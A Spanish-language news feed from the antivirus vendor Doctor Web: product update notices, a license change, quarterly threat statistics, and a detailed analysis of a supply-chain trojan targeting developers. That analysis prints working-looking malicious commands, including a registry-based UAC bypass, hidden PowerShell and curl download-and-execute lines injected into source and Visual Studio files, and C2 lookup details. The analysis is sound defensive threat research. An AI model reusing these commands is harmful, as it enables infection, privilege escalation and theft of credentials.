Todas las noticias

Actualización del servidor de control centralizado para Dr.Web Enterprise Security Suite y Dr.Web Industrial

Thu, 23 Jul 2026 17:15:37 GMT

La empresa Doctor Web lanza una actualización para el servidor incluido en Dr.Web Enterprise Security Suite y Dr.Web Industrial, versión 13.0.1.202606110. La nueva versión estará disponible para su descarga el 27 de julio de 2026 a través de la interfaz web de la consola de control.

Novedades de la actualización

Esta actualización tiene como objetivo principal mejorar la estabilidad del Centro de control y corregir varios errores detectados en la versión anterior. En concreto, se han solucionado problemas con la visualización de elementos secundarios al filtrar en el árbol de red del antivirus y se han corregido errores en el envío de notificaciones a los administradores y la generación de informes. La lista completa de cambios está disponible en Changelog.

Impacto en los agentes (incluido Dr.Web Industrial)

La actualización del servidor no afecta al funcionamiento de los agentes en los nodos protegidos. La actualización del componente del servidor no requiere reiniciar ni reconfigurar el software del agente; estos seguirán funcionando con normalidad. Para entornos industriales que utilizan Dr.Web Industrial, esto significa que no habrá cambios en el funcionamiento del agente, ya que todas las correcciones se aplican exclusivamente al servidor y a la interfaz de control.

Importante: El Servidor Dr.Web se reiniciará automáticamente durante la instalación de la actualización. Recomendamos programar el procedimiento con antelación para las horas de menor actividad.

Les recordamos que las actualizaciones oportunas son fundamentales para mantener el nivel de protección requerido y el funcionamiento óptimo del software.

Actualización del componente antispam en Dr.Web Enterprise Security Suite y en Dr.Web por suscripción

Wed, 15 Jul 2026 17:04:45 GMT

La empresa Doctor Web lanza la actualización del módulo antispam 1.1.2.202604160 para Dr.Web Enterprise Security Suite y Dr.Web por suscripción. Estará disponible para su descarga a partir del 20 de julio de 2026.

Este módulo escanea el tráfico de correo electrónico en tiempo real y analiza sus componentes: encabezados, cuerpo, hipervínculos y archivos adjuntos. El componente es eficaz y no afecta el rendimiento del cliente de correo electrónico.
La nueva versión incluye mejoras en la detección de spam y el análisis de enlaces, así como cambios internos. Anteriormente se lanzó una actualización importante que aumentó la eficacia de la detección y el filtrado de tráfico no deseado.

Atención a los usuarios de Windows XP: si tienen habilitada la opción de actualizar solo las bases de datos antivirus, el complemento de Dr.Web para Microsoft Outlook no funcionará correctamente: todos los correos electrónicos entrantes se detectarán como spam. Para comprobarlo, seleccionen «Actualizar» en la configuración del programa, luego hagan clic en «Configuración avanzada» y accedan a la sección «Componentes actualizados».
Recomendamos a los usuarios de este sistema operativo que actualicen a una versión posterior o que habiliten las actualizaciones para todos los módulos del programa en la configuración, no solo para las bases de datos de virus.

Actualizado el Acuerdo de Licencia del software Dr.Web

Wed, 15 Jul 2026 14:43:47 GMT

La empresa Doctor Web ha actualizado el Acuerdo de Licencia del software Dr.Web. Puede consultar la nueva versión del documento en el siguiente enlac https://license.drweb.com/agreement/.

Principales cambios:

el texto se ha estructurado por secciones temáticas para facilitar la navegación;
se han incorporado definiciones de los términos con el fin de facilitar la comprensión del documento y evitar interpretaciones erróneas;
se ha precisado la diferencia entre el uso autorizado y el uso sin licencia del software Dr.Web;
se han añadido aclaraciones sobre las preguntas más frecuentes de los usuarios, como en qué dispositivos puede utilizarse la licencia adquirida, si es obligatorio que el dispositivo protegido sea de su propiedad y otras cuestiones similares.

Al seguir utilizando el software Dr.Web tras la entrada en vigor de la nueva versión del Acuerdo de Licencia, usted confirma que acepta íntegramente las nuevas condiciones. Si no está de acuerdo con los cambios, deberá eliminar el software Dr.Web de sus dispositivos.

Le recordamos que este documento es aplicable a todo el software de la familia Dr.Web, con excepción de Dr.Web FixIt! y Dr.Web vxCube, que cuentan con sus propios Acuerdos de Licencia.

Objetivo: desarrolladores. Un nuevo troyano ataca la cadena de suministro y provoca daños combinados en los equipos infectados

Fri, 10 Jul 2026 03:00:00 GMT

Los expertos del laboratorio antivirus han analizado un nuevo programa troyano. Se trata de una amenaza del tipo supply chain attack (ataque a la cadena de suministro). Su principal característica es que se dirige a proyectos desarrollados en los lenguajes de programación C++ y C#. Otra de sus particularidades es su carácter especialmente peligroso. El troyano combina varios mecanismos de ataque y desempeña simultáneamente diversas funciones: stealer, clipper, backdoor, miner y fuente de infección de archivos.

Los primeros casos de propagación del troyano se detectaron durante el último trimestre de 2025 y, desde entonces, sus desarrolladores lo han modificado de forma continua. Se propaga principalmente por Internet mediante archivos .exe y Python infectados. El proceso de infección consta de varias etapas. A continuación, analizamos cada una de ellas y su finalidad.

Etapa 1. Trojan.DownLoader49.35384

Los expertos de Doctor Web detectaron múltiples aplicaciones legítimas infectadas con una estructura similar. Al archivo ejecutable original se le añade un objeto global y la ejecución de la aplicación troyanizada comienza obteniendo acceso a las API del sistema mediante el método PEB walking. A continuación, la función estándar initterm recorre la tabla de punteros a funciones e inicializa cada una de ellas. Una de esas funciones es maliciosa y ejecuta un comando de PowerShell. En algunas versiones del troyano, esta carga útil se almacena cifrada.

Ejecución mediante initterm

El comando de PowerShell descarga y ejecuta el archivo malicioso Trojan.DownLoader49.35687, lo que da comienzo a la segunda etapa de la infección.

Comando malicioso de PowerShell

Además de los archivos ejecutables, se detectaron archivos escritos en Python (Python.Downloader.255). En ellos, el mismo código malicioso estaba cifrado mediante el mecanismo de cifrado simétrico Fernet. El código se oculta mediante una sencilla técnica de ofuscación consistente en insertar una gran cantidad de espacios en la primera línea del archivo. En este caso, la ejecución también se desarrolla en varias etapas.

Archivos maliciosos en Python

Etapa 2. Trojan.DownLoader49.35687

En esta etapa, el troyano Trojan.DownLoader49.35687 comprueba si se está ejecutando en un entorno sandbox. Además, crea un objeto de sincronización mutex con el nombre Global\PFNMX (valor fijo). Un ejemplo de este tipo de objeto es: \Sessions\1\BaseNamedObjects\Global\PFNMX_0o6u9MMc2QdKvqeHmgPRE008. De este modo, el troyano verifica si ya existe otra copia en ejecución en el equipo.

Durante esta segunda etapa, el troyano intenta obtener las direcciones del servidor C2 a través de repositorios públicos de GitHub y de la plataforma de videojuegos Steam. En ellos, los atacantes publican los dominios que el troyano lee y utiliza como URL para descargar la tercera etapa de la infección: el troyano BackDoor.Siggen2.5906.

Las cuentas de Steam creadas por los atacantes contienen el nombre del dominio en texto plano.

Cuenta de Steam con el dominio

En GitHub, los atacantes almacenaron la dirección cifrada del dominio C2 en un archivo raw: raw[.]githubusercontent[.]com/XxXloverXxX/rustflare/refs/heads/main/crates/engine. El troyano descarga este archivo y lo descifra primero mediante Base64 y, posteriormente, aplicando una operación XOR con la clave ZwFlushKey.

Dominios cifrados

Tras descargar la siguiente etapa, Trojan.DownLoader49.35687 la inyecta en el proceso de uno de los 41 archivos ejecutables predefinidos ubicados en C:\Windows\System32.

La dirección del dominio C2 con la que se ha logrado establecer conexión se añade a las cadenas integradas de forma fija en el código del troyano y se transmite a la siguiente etapa a través del canal con nombre pipe\VccFramework.

Etapa 3. BackDoor.Siggen2.5906

En esta etapa se lleva a cabo la actividad maliciosa principal. BackDoor.Siggen2.5906 crea un objeto de sincronización mutex con un nombre fijo del tipo Global\PFNX_Side(valor fijo). A continuación, a través del canal creado previamente, el troyano recibe los datos de la segunda etapa, de los que extrae los identificadores del troyano y el dominio C2 con el que se comunicará BackDoor.Siggen2.5906.

Para consolidarse en el sistema, el troyano descarga el archivo «bungee.boo» que realiza las funciones de la etapa 2 — Trojan.DownLoader49.35687, y suplanta con el mismo los archivos DLL:

«profapi.dll» de la aplicación Discord,
«domain_actions.dll» en la carpeta «Domain Actions» y «well_known_domains.dll» en la carpeta «Well Known Domains» de la aplicación Microsoft Edge,
«C:\Windows\omadmapi.dll».

Además, BackDoor.Siggen2.5906 puede modificar el Registro de Windows para que, al abrir archivos comprimidos con WinRAR, se ejecute código malicioso.

Para ejecutar acciones con privilegios de administrador, el troyano utiliza una técnica para esquivar el UAC (Control de cuentas de usuario). El malware genera un archivo .vbs con un nombre formado por una secuencia aleatoria de cifras, en el que inserta un comando que se ejecutará con privilegios de administrador. A continuación, ejecuta los siguientes comandos mediante cmd.exe:

reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe
%APPDATA%\Microsoft\369059.vbs" /f
reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
c start /B ComputerDefaults.exe

A continuación, el troyano pone en funcionamiento cinco funciones maliciosas: un stealer, un clipper, un backdoor, un miner y un módulo de infección de archivos.

Stealer

El troyano puede robar información de varios tipos:

tockens Discord que permiten iniciar sesión en cuentas ajenas sin introducir un nombre de usuario/contraseña;
contraseñas y cookies de navegadores Chrome, Edge, Opera, Brave, Yandex etc. Además de las técnicas ordinarias de extracción de datos, puede usar el archivo CCCWF.tmp (Trojan.PWS.Siggen5.33623). El mismo se incrusta en el navegador y luego lee las contraseñas y las guarda en archivos de texto;
carpetas de Telegram Desktop;
carpetas del criptomonedero Exodus.

Además de robar las carpetas de Exodus, el troyano modifica el monedero de criptomonedas. Para ello, localiza el archivo app.asar y lo suplanta por una copia descargada desde la URL balista[.]lol/Stb/PokerFace/RTApp[.]txt mediante curl. En la versión suplantada el archivo index.js (Trojan.Siggen32.44702) contiene la función unlock() que, al ejecutarse, envía las frases mnemotécnicas del monedero al servidor de los atacantes.

Archivo suplantado index.js

Clipper

Se trata de una de las funciones más peligrosas del troyano. El malware supervisa de forma continua el portapapeles del usuario: busca datos de tarjetas bancarias y los envía al servidor de los atacantes. Además, sustituye las direcciones de los monederos de criptomonedas por otras fraudulentas, que obtiene del servidor C2.

Backdoor

La funcionalidad del troyano permite a los atacantes controlar de forma remota el equipo infectado mediante la ejecución de los siguientes comandos:

exc	descargar un archivo de url mediante curl y ejecutarlo
RVRS	iniciar Reverse Proxy
RUNCMD	Ejecutar un comando mediante cmd
GETFILE	Cargar el contenido de un archivo determinado al servidor de control
LISTDIR	Enviar una lista de archivos desde un directorio específico del equipo al servidor de control
TROLL	ejecutar un comando destinado a trolear al usuario. Entre las opciones disponibles se incluyen earrape, scary_sound, rickroll, mute_audio, jumpscare_screamer etc.

Miner

Mediante curl el troyano descarga desde el servidor y ejecuta el archivo https://files[.]catbox[.]moe/lvh9j3[.]bin — Trojan.Packed2.50953. Su estructura y funcionamiento son similares a los de la segunda etapa, con la diferencia de que, en lugar de descargar e inyectar BackDoor.Siggen2.5906 descarga e inyecta Trojan.BtcMine.3956. Este miner solo se ejecuta tras un determinado periodo de inactividad del usuario. El malware utiliza las herramientas de código fuente abierto XMRig, T-Rex y TeamRedMiner.

Infección de archivos

La principal característica de este troyano es la infección de archivos y su posterior propagación autónoma. Lista de archivos infectados:

imgui_impl_win32.cpp,
.suo,
.exe,
winnetwk.h (Windows SDK),
.vcxproj y .csproj.

Para identificar las rutas de los archivos que pueden infectarse, el troyano recorre las unidades de disco y ejecuta el siguiente comando. A continuación, se muestra un ejemplo para la unidad A://

dir /a /s /b A:\*imgui_impl_win32.cpp A:\*.suo A:\*.exe A:\*.vcxproj A:\*.csproj > %ALLUSERSPROFILE%\ADat.bin3290.

Los atacantes confían en que los desarrolladores publiquen sus proyectos con código malicioso en repositorios públicos. De este modo, otros desarrolladores que compilen, generen o modifiquen esos proyectos infectarán automáticamente sus equipos a través de los archivos .suo, .vcxproj y .csproj, mientras que los usuarios finales podrán ejecutar archivos ejecutables infectados generados con herramientas de desarrollo comprometidas.

Archivo imgui_impl_win32.cpp. Trojan.Loader.3129

El archivo imgui_impl_win32.cpp — forma parte de la biblioteca conocida Dear ImGui y se encarga de la interfaz gráfica de usuario para aplicaciones desarrolladas en C++. El troyano inserta dos líneas de código en este archivo: la primera contiene la carga útil y la segunda la ejecuta.

Una línea de código con carga útil

Una idea de código que ejecuta la carga útil

Resultado — un comando


start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api[.]tf/Stb/Retev.php?bl=1BRn03AWabt6xvxWdzDSW01.txt' -OutFile $env:APPDATA\BK879002.exe; Start-Process -FilePath $env:APPDATA\BK879002.exe -WindowStyle Hidden }"

De este modo, la biblioteca queda infectada y cualquier aplicación en C++ creada por el usuario contendrá código malicioso. Al propagar o subir este tipo de aplicaciones, la infección continuará propagándose.

Archivos .suo. Trojan.Loader.3138

Se trata de archivos utilizados por el entorno de desarrollo Microsoft Visual Studio, en los que se almacena la configuración del usuario para determinados proyectos. El troyano sustituye el archivo original por una versión infectada descargada desde el servidor C2.

Un archivo infectado

Como resultado, al abrir un proyecto en Visual Studio se ejecuta el código malicioso:


javascript:new ActiveXObject('WScript.Shell').Run('cmd /b /c curl -o \"C:\\ProgramData\\S47LY.exe\" \"https://pee-files[.]nl/Stb/Retev.php?bl=1BRn03AWabt6xvxWdzDSW01.txt\" && start \"\" \"C:\\ProgramData\\S47LY.exe\"', 0, false);close();

Archivos winnetwk.h. Trojan.Loader.3184

Windows SDK es el kit oficial de desarrollo de software (SDK) de Microsoft, que permite crear aplicaciones para el sistema operativo Windows.

El troyano consulta el Registro de Windows para localizar la carpeta donde está instalado Windows SDK. A continuación, busca el archivo winnetwk.h, responsable de la administración de los recursos de red, e inserta en él código malicioso.

Archivo infectado winnetwk.h

A partir de ese momento, todos los programas creados utilizando winnetwk.h incorporarán código malicioso que ejecutará la segunda etapa.

Archivos .exe

El troyano busca archivos .exe adecuados e inserta en ellos las funciones de inicialización de las API y de ejecución de initterm. A continuación, el archivo empieza a funcionar como Trojan.DownLoader49.35384, es decir, como la etapa 1.

Archivos .vcxproj (Trojan.Loader.3128, Trojan.Loader.3127) y .csproj (Trojan.Loader.3126)

Se trata de archivos de proyecto de Visual Studio para los lenguajes de programación C++ y C#. El troyano añade a estos archivos un comando PreBuildEvent, que se ejecuta antes de cada compilación del proyecto. Las primeras versiones del troyano incorporaban un código similar al de etapa 1.

Versión inicial del código

En las versiones más recientes, el código es más complejo e incorpora mecanismos adicionales de ofuscación.

Nueva versión del código

Una etapa de ejecución de Trojan.Loader.3128

Como resultado de la ejecución del comando malicioso, se crea un archivo .vbs malicioso que, a su vez, ejecuta la carga útil de PowerShell. A continuación, el troyano envía solicitudes a las siguientes direcciones URL:

youtu.be/akoxddx6lgc,
steamcommunity.com/profiles/76561198737324192.

En estas direcciones se almacena otra dirección URL cifrada mediante base64.

Una cuenta de YouTube con una dirección URL cifrada

Tras descifrarla, el troyano obtiene el dominio C2 al que se conecta para descargar una carga útil similar a la de la segunda etapa.

El análisis del funcionamiento del troyano permite concluir que se trata de una amenaza especialmente peligrosa, ya que combina múltiples funciones maliciosas. Para evitar la infección del equipo y frenar la propagación del troyano, recomendamos mantener las bases de datos del antivirus siempre actualizadas y analizar todos los archivos descargados de Internet. Los usuarios de Dr.Web Security Space y Dr.Web Desktop Security Suite pueden estar tranquilos, ya que los antivirus Dr.Web detectan y eliminan el troyano de forma segura. Asimismo, los archivos de tipo .vcxproj, .csproj e imgui se desinfectan, eliminándose de ellos el código malicioso.

Doctor Web: informe de la actividad de virus para dispositivos móviles en el II trimestre de 2026

Wed, 01 Jul 2026 04:00:00 GMT

1 de julio de 2026

Según los datos estadísticos de detecciones de Dr.Web Security Space para dispositivos móviles, en el II trimestre del año 2026 se observó una reducción de la actividad de los troyanos bancarios Android.Banker — un 31,83% comparado con el I trimestre. Sin embargo, los mismos siguieron siendo el malware más detectado para Android: a esta familia se requiere un 23,28% de detecciones de amenazas de ese tipo. Este malware roba varios tipos de datos privados, tales como los SMS con códigos de un solo uso de entidades de crédito, nombres de usuario y contraseñas de las cuentas de la banca en línea, y además puede visualizar las ventanas phishing. Igual que en el trimestre pasado, los usuarios afrontaron con mayor frecuencia la subfamilia Android.Banker.Mamont, que incluye varios tipos de malware.

Durante los tres meses pasados siguió reduciéndose la actividad de los troyanos publicitarios de las familias Android.MobiDash y Android.HiddenAds. Además, siguen siendo algunas de las amenazas de malware para Android más frecuentes, y determinadas variantes continúan figurando entre el malware con mayor número de detecciones.

El software potencialmente peligroso más frecuente volvió a ser, con una cuota superior al 66 %, el formado por aplicaciones cuyo código ha sido modificado mediante la incorporación de código basura para dificultar su análisis (detectadas como Tool.Obfuscator.TrashCode). Este tipo de modificación se realiza con ayuda de las herramientas de modding de NP Manager. Los ciberdelincuentes también recurren a ellas para proteger malware, como los troyanos bancarios Android.Banker.Mamont, frente a la detección por parte de los antivirus.

En segundo lugar se situaron las aplicaciones modificadas igualmente mediante la utilidad NP Manager, aunque utilizando otras de sus funciones. Por ejemplo, esta herramienta incluye varios módulos para la protección y ofuscación del código, así como mecanismos para esquivar la verificación de la firma digital de las aplicaciones una vez modificadas. Los autores de malware aprovechan estas capacidades para dificultar la detección de su malware por las soluciones antivirus. Los productos de Dr.Web detectan las aplicaciones alteradas de este modo como Tool.NPMod.

Entre las aplicaciones potencialmente peligrosas más frecuentes también volvieron a figurar las modificadas mediante la utilidad Tool.LuckyPatcher. Para llevar a cabo estas modificaciones, la herramienta descarga de Internet los scripts especialmente diseñados para ello.

Los programas no deseados más activos en el II trimestre fueron las aplicaciones Program.FakeAntiVirus que imitan el funcionamiento de los antivirus. Supuestamente, detectan algunas amenazas y luego proponen adquirir una versión completa para “afrontar” las mismas. Estas versiones modificadas representaron más del 44 % del software no deseado detectado en dispositivos Android.

El adware más frecuente fue el formado por los módulos Adware.AdPush, que pueden integrarse en aplicaciones para Android. Estos módulos muestran notificaciones publicitarias engañosas y también recopilan varios datos confidenciales.

Además, los usuarios siguieron afrontando los optimizadores Adware.Bastion.1.origin. . Estas aplicaciones generan periódicamente notificaciones con mensajes engañosos sobre supuestos errores del sistema y falta de memoria RAM, y muestran publicidad durante el proceso de «optimización».

Las aplicaciones publicitarias Adware.Opensite.15. También volvieron a registrar una elevada actividad. Los ciberdelincuentes las hacen pasar por aplicaciones con trucos para videojuegos que supuestamente permiten obtener recursos dentro de los juegos. En realidad, estas aplicaciones únicamente cargan sitios web con publicidad.

A principios de junio, los expertos de la empresa Doctor Web informaron sobre Android.MagicAd.1 — un troyano capaz de esquivar las restricciones del SO Android y visualizar publicidad en modo de segundo plano. Para ello, Android.MagicAd.1 usa las aplicaciones terceras, así como las metodologías determinadas que seleccione en función del fabricante del dispositivo infectado. Para más información sobre este troyano, consulte el material correspondiente en nuestro sitio web.

Asimismo, durante el segundo trimestre, los analistas de virus de Doctor Web otra vez detectaron en Google Play malware destinado a suscribir a los usuarios a servicios de pago, incluidos representantes de las familias Android.Subscription y Android.Joker.

Tendencias clave del II trimestre

Los troyanos bancarios Android.Banker siguieron siendo malware más popular para el SO Android.
Los creadores de virus siguieron usando activamente las herramientas de modding de aplicaciones Android para evitar que los antivirus detecten los troyanos bancarios.
La actividad de los troyanos de publicidad Android.MobiDash y Android.HiddenAds bajó otra vez.
Fue detectado un troyano Android.MagicAd.1, que usa aplicaciones terceras para esquivar las restricciones del SO Android y visualizar publicidad en segundo plano.
Nuevo malware apareció en el catálogo Google Play.

Según los datos de Dr.Web Security Space para dispositivos móviles

Android.Click.1812: Detección de mods maliciosos de WhatsApp capaces de cargar varios sitios web en segundo plano sin permiso del usuario.
Android.HiddenAds.675.origin
Android.HiddenAds.4236: Un troyano publicitario diseñado para mostrar publicidad intrusiva. Los representantes de la familia Android.HiddenAds suelen distribuirse haciéndose pasar por aplicaciones legítimas y, en algunos casos, son instalados por otro malware en el directorio del sistema. Tras infectar un dispositivo Android, suelen ocultar su presencia al usuario, por ejemplo, al eliminar el icono de la aplicación del menú principal.
Android.Banker.Mamont.80.origin: Un troyano bancario que intercepta los mensajes SMS con códigos de un solo uso enviados por entidades financieras, así como el contenido de las notificaciones, y además recaba otra información confidencial. Entre los datos que puede obtener se incluyen la información técnica sobre el dispositivo infectado, la lista de aplicaciones instaladas, los datos de la tarjeta SIM, el historial de llamadas telefónicas y los mensajes SMS recibidos y enviados..
Android.FakeApp.1600: Un troyano que carga el sitio web indicado en su configuración. Las modificaciones conocidas de este malware cargan páginas de casinos en línea.

Program.FakeAntiVirus.1
Program.FakeAntiVirus.4
Program.FakeAntiVirus.4.origin
Program.FakeAntiVirus.5: Detección de programas publicitarios que imitan el funcionamiento de un antivirus. Estas aplicaciones pueden alertar sobre amenazas inexistentes y engañar a los usuarios para que adquieran la versión completa de pago.
Program.FakeMoney.11: Detección de aplicaciones que supuestamente permiten ganar dinero al realizar determinadas tareas o actividades. Estos programas simulan la acumulación de recompensas y exigen alcanzar una cantidad mínima para poder retirar los supuestos ingresos. Por lo general, incluyen una lista de sistemas de pago y entidades bancarias populares a través de los cuales, supuestamente, es posible cobrar las recompensas. Sin embargo, incluso cuando los usuarios consiguen reunir la cantidad requerida, los pagos prometidos nunca llegan a efectuarse. Esta detección también se utiliza para identificar otro software no deseado basado en el código de este tipo de aplicaciones.

Tool.Obfuscator.TrashCode.1
Tool.Obfuscator.TrashCode.2: Detección de aplicaciones Android cuyo código ha sido modificado mediante herramientas de modding para incorporar código basura. Este tipo de modificación tiene como objetivo dificultar el análisis y la comprensión de la lógica interna de las aplicaciones. Se trata de una técnica habitual tanto en troyanos bancarios como en versiones pirateadas de software.
Tool.NPMod.3
Tool.NPMod.1: Detección de aplicaciones Android modificadas mediante la utilidad NP Manager. Esta herramienta incorpora módulos para la ofuscación y protección del código, así como mecanismos para esquivar la verificación de la firma digital de las aplicaciones una vez modificadas. La ofuscación que aplica se utiliza con frecuencia en malware para dificultar su detección y análisis.
Tool.LuckyPatcher.2.origin: Una utilidad que permite modificar aplicaciones Android instaladas (crear parches para ellas) con el fin de alterar su funcionamiento o esquivar determinadas restricciones. Por ejemplo, puede utilizarse para intentar desactivar la comprobación de acceso root en aplicaciones bancarias o para obtener recursos ilimitados en videojuegos. Para crear los parches, la herramienta descarga de Internet scripts especialmente preparados, que cualquier usuario puede desarrollar y añadir a una base de datos compartida. La funcionalidad de estos scripts puede resultar incluso maliciosa, por lo que los parches generados pueden suponer un riesgo potencial para la seguridad.

Adware.Bastion.1.origin: Detección de aplicaciones de optimización que con cierta periodicidad generan notificaciones engañosas sobre una supuesta falta de memoria y errores del sistema con el fin de mostrar publicidad durante el proceso de «optimización».
Adware.Opensite.15: Aplicaciones que se presentan como herramientas para obtener recursos en videojuegos mediante trucos o ventajas especiales. En realidad, han sido creadas para mostrar publicidad. Estos programas reciben de un servidor remoto una configuración que determina qué sitio web debe cargarse para mostrar anuncios, ya sean banners, ventanas emergentes, vídeos publicitarios u otros formatos similares.
Adware.AdPush.3.origin: Un módulo publicitario que puede integrarse en aplicaciones Android. Este componente muestra notificaciones publicitarias engañosas que pueden hacerse pasar, por ejemplo, por mensajes del sistema operativo. Además, recopila distintos datos confidenciales y puede descargar otras aplicaciones e iniciar su instalación en el dispositivo.
Adware.Fictus.1.origin: Un módulo publicitario que los ciberdelincuentes integran en versiones clonadas de aplicaciones y videojuegos populares para Android. Su incorporación se realiza mediante el empaquetador especializado net2share. Las copias creadas de este modo se distribuyen a través de varios catálogos de aplicaciones y, una vez instaladas, visualizan publicidad no deseada.
Adware.Airpush.7.origin: Complementos integrados en aplicaciones Android que visualizan varios tipos de publicidad. En función de la versión y de la modificación, pueden generar notificaciones publicitarias, ventanas emergentes o banners. Los atacantes los utilizan con frecuencia para propagar malware, proponiendo instalar algún software. Además, estos complementos transmiten a servidores remotos varios datos confidenciales.

Amenazas en Google Play

Durante el II trimestre del año 2026, los analistas de virus de la empresa Doctor Web detectaron en el catálogo Google Play varios nuevos programas troyanos Android.Subscription, que suscriben a usuarios a servicios de pago. Se propagaron camuflados por software de varios tipos: una plataforma de streaming ShowLounge - TV & Dramas (Android.Subscription.25), un programa para gamers AIM: Crosshair Asist (Android.Subscription.26), un juego True Cargo Drive (Android.Subscription.27), una utilidad Battery 3D: Charge Effects (Android.Subscription.28) y un editor de imágenes PixStudio - Photo Editor (Android.Subscription.29). En total, fueron descargados al menos 2 600 000 veces.

Unos ejemplos de programas troyanos Android.Subscription, detectados en Google Play en el II trimestre de 2026

El malware de este tipo carga los sitios web donde con la tecnología Wap Click se conectan suscripciones móviles de pago a los usuarios. A las víctimas potenciales se les solicita su número de móvil y, una vez introducido el mismo, se intentan activarse los servicios correspondientes.

En Google Play otra vez se difundieron los programas troyanos Android.Joker, que también suscriben a las víctimas a servicios de pago. Los malintencionados los hacían pasar por messengers Chat Messages (Android.Joker.2625) y Easy Messages (Android.Joker.2632), así como las utilidades para optimizar el funcionamiento del sistema Smart File Cleaner, Junk Clean Master y Fast Cleaner (Android.Joker.2614, Android.Joker.2618 y Android.Joker.2626 respectivamente).

Un malware donde se ocultaban los troyanos de la familia Android.Joker

Para proteger los dispositivos en Android contra malware y software no deseado, recomendamos a los usuarios instalar los productos antivirus Dr.Web para Android.

Indicadores de compromiso

Doctor Web: informe de la actividad de virus en el II trimestre del año 2026

Wed, 01 Jul 2026 02:00:00 GMT

1 de julio de 2026

Según las estadísticas de detección del antivirus Dr.Web, durante el segundo trimestre de 2026 el número total de amenazas detectadas aumentó un 5,72 % con respecto al primer trimestre. El número de amenazas únicas creció un 95,32 %. Las amenazas detectadas con mayor frecuencia en los dispositivos protegidos fueron adware y troyanos publicitarios, malware de minería de criptomonedas y troyanos utilizados para ejecutar otras amenazas.

En el tráfico de correo electrónico se detectaron principalmente scripts maliciosos y varias aplicaciones troyanas, entre ellas descargadores, droppers, ladrones de contraseñas y mineros de criptomonedas. También se observó una amplia difusión de Gateways, documentos de phishing y varios tipos de exploits.

Los usuarios cuyos archivos se vieron afectados por troyanos cifradores con mayor frecuencia afrontaron los encoders Trojan.Encoder.35534, Trojan.Encoder.41868 y Trojan.Encoder.37400. Al mismo tiempo, el número de solicitudes de descifrado recibidas por el servicio de soporte técnico de Doctor Web se redujo ligeramente en comparación con el trimestre anterior.

Durante el segundo trimestre de 2026, los analistas de Internet de Doctor Web observaron un aumento de los ataques de phishing dirigidos a los usuarios del Messenger MAX. Los ciberdelincuentes también aprovecharon la actualidad informativa del momento y adaptaron a ella los fraudes más habituales.

En abril se supo que una de las actualizaciones de Microsoft Visual Studio Code contenía codigo malicioso. Se trataba de un script troyano incluido en la biblioteca pública de JavaScript es5-ext, incorporada al software actualizado. Este script se ejecuta cuando detecta que el sistema utiliza la zona horaria de determinadas ciudades rusas y visualiza un mensaje con contenido antirruso en la consola del desarrollador.

En mayo advertimos sobre la propagación del malware JobStealer, dirigido a usuarios de Mac y Windows. Los ciberdelincuentes lo distribuían haciéndolo pasar por una aplicación para realizar entrevistas de trabajo en línea. El troyano JobStealer roba la información confidencial de varios tipos, incluidos datos procedentes de alrededor de 300 extensiones de navegador para monederos de criptomonedas, archivos del mensajero Telegram, contraseñas y datos de tarjetas bancarias guardados en los navegadores, así como archivos de cookies.

En junio, los expertos del laboratorio antivirus de Doctor Web informaron sobre un nuevo troyano publicitario, Android.MagicAd.1, que visualizaba publicidad en segundo plano gracias a su posibilidad de esquivar las restricciones del sistema operativo Android. Para ello, explota aplicaciones de terceros y selecciona el método más adecuado en función del fabricante del dispositivo objetivo.

Entre malware para dispositivos Android, los troyanos bancarios Android.Banker mantuvieron el liderazgo por número de detecciones en los dispositivos protegidos. Al mismo tiempo, los creadores de malware siguieron utilizando activamente varias herramientas de modificación de aplicaciones Android para dificultar la detección de su malware por parte de los antivirus. Asimismo, durante el segundo trimestre, nuestros analistas de virus detectaron en el catálogo de Google Play varios nuevos troyanos diseñados para suscribir a los usuarios a servicios móviles de pago.

Tendencias clave del II trimestre

Aumentó el número de amenazas detectadas en dispositivos protegidos.
Entre las amenazas detectadas, aumentó bastante el número de archivos únicos.
El número de solicitudes de descifrado de archivos afectados por los programas troyanos cifradores bajó comparado con el I trimestre.
Los estafadores empezaron a atacar a usuarios del Messenger MAX con mayor frecuencia.
Los troyanos bancarios Android.Banker siguieron siendo el malware más popular para dispositivos en Android.
Los expertos de Doctor Web detectaron un troyano de publicidad Android.MagicAd.1, que puede esquivar las restricciones del SO Android y visualizar anuncios en segundo plano.
Los creadores de virus difundieron el malware JobStealer que sirve para robar los datos privados de los usuarios de equipos con Mac y Windows.
En uno de los anuncios de Microsoft Visual Studio Code fue detectado un código malicioso.

Según los datos del servicio de estadísticas de Doctor Web

Las amenazas más populares del II trimestre del año 2026

Adware.Downware.20091
Adware.Downware.20766: Adware que sirve de instalador intermediario de software pirata.
Trojan.Siggen31.34463: Un troyano creado en lenguaje de programación Go que sirve para descargar varios miners y adware en el sistema objetivo. El malware es un archivo DLL y está en %appdata%\utorrent\lib.dll. Para su inicio, usa la vulnerabilidad de la clase DLL Search Order Hijacking en el cliente torrent uTorrent.
Trojan.BPlug.4268: Detección del componente malicioso de la extensión para navegador WinSafe. Este componente es un script de JavaScript que visualiza publicidad importuna en navegadores.
Trojan.Starter.8319: Detección de scripts XML maliciosos que inician el troyano Trojan.AutoIt.289 sus componentes.

Estadísticas de malware en el tráfico de correo

Las amenazas más populares del II trimestre del año 2026 en el tráfico de correo

X97M.DownLoader.2343: Un archivo XLSX (formato de tablas electrónicas Microsoft Excel) con un objeto OLE que descarga un archivo malicioso en el equipo atacado.
W97M.DownLoader.2938: Una familia de troyanos descargadores que usan las vulnerabilidades de documentos Microsoft Office. Sirven para descargar otro malware en el equipo atacado.
Exploit.CVE-2017-11882.123
Exploit.CVE-2018-0798.4: Una familia de troyanos descargadores que usan las vulnerabilidades de documentos Microsoft Office. Sirven para descargar otro malware en el equipo atacado.
JS.Muldrop.1171: Un script malicioso en formato JavaScript que ejecuta en el sistema objetivo el malware que lleva oculto.

Cifradores

Comparado con el I trimestre del año 2026, en el II trimestre el número de solicitudes para descifrar los archivos afectados por los programas troyanos cifradores bajó un poco, un 2,67%.

Dinámica de recepción de solicitudes para descifrar al servicio de soporte técnico de Doctor Web:

Los encodres más populares del II trimestre del año 2026

Trojan.Encoder.35534 — 14,47% de solicitudes de usuarios
Trojan.Encoder.41868 — 5,26% de solicitudes de usuarios
